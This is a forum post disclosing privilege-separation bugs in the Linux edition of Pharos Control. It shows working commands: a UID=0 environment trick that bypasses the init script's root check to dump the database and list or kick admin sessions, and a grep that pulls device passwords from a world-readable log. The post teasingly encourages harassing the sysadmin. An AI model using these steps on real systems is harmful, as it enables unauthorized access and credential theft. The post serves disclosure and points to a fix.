Here is an updated list of bugs in the Linux edition of Pharos Control, including a serious security-related bug. All bugs are related to missing privilege separation.

That's the bad news. However, I also have good news for you on how you can close the holes (see below) and that's why I disclose this bugs now.

First, the most annoying bugs. The pharoscontrol start/stop script checks wether being executed by the root user (sysadmin) by testing the shell variable UID against the numerical user ID 0. So you are Joe Cracker, have access to the server as an unprivileged user and want to dump the Pharos database? Let's try:

[CODE]$ /etc/init.d/pharoscontrol backup tempfile
You must be root.
$
[/CODE]

So far, so bad - since Joe Cracker knows everything about shell variables:

[CODE]
$ UID=0 /etc/init.d/pharoscontrol backup tempfile
Stop Pharos Control server.
Pharos Control is not running.
Database is backup to temp.
$ ls -l temp
-rw-r--r-- 1 joe cracker 5753 Jul 24 13:42 tempfile
$
[/CODE]

But wait, it comes even better. Want to find out the Pharos Control administrator's login name and session ID? Tell him the CPEs are down and wait until he logged into Pharos Control to check. Then execute pharoscontrol list using the shell variable trick:

[CODE]
$ /etc/init.d/pharoscontrol list
You must be root.
$ UID=0 /etc/init.d/pharoscontrol list
Session UserID Username Role Source
ea2af5 1 admin ADMIN 192.168.1.12:60196
$
[/CODE]

Have some fun and kick the sysadmin out of the Pharos Control server using " pharoscontrol kick sessionID". Of course, this is possible since you now know the UID=0 trick. Test out your sysadmin's frustration limits: how often does he/she try to login again and again? More than a dozen times? Or does he/she even reboot the server to "fix this problem"? ;)

If testing for the root user, always use the id(1) command if you are writing programs, but never ever use just shell variables.


Next security-related bug: wrong file permissions for log files. Want to find out the admin account's username AND ALSO THE PASSWORDS for the CPE/WBS devices managed by Pharos Control? Easy.

[CODE]$ fgrep 'INSERT INTO DEVICE VALUES' /opt/pharoscontrol/db/hipap.db.log
INSERT INTO DEVICE VALUES(1,560,'2017-07-24 14:08:06.341000000','','CPE210','UNMANAGED','TP-Link_Outdoor_C2D476','tp-link','192.168.1.253','2017-07-24 14:08:06.341000000','0','0','60-E3-27-B2-DB-80',NULL,1,62572,1,'br0','CPE210(TP-LINK|UN|N300-2):1.0',NULL,'', 'password',22,'admin',0,'WIRED','2.0.0 Build 20170301 Rel. 45104',80,0,'CPE210','1','',NULL)
$
[/CODE]

See your boss and tell him that you want to get a better salary, since you now can manage all outdoor APs, too.

There are still more bugs and they all have to do with running the software with root privileges to bypass basic UNIX/Linux rights management. Much like it has been in Windows for decades (hence their ever-lasting problems with viruses).


Now for the good news: it is pretty easy to fix this in case of Pharos Control software (it's unfortunately not so easy in EAP Controller for Linux).

I posted a recipe in the knowledge base on how to add privilege separation to the Pharos Control software by just replacing the buggy start/stop script, which controls server execution. If you use Pharos Control, you should take a look - it will fix all the above bugs (and some more!) I found in standard pharoscontrol.

See http://forum.tp-link.com/showthread.php?99208-HOW-TO-Adding-privilege-separation-to-Pharos-Control for an easy way to close the holes shown above.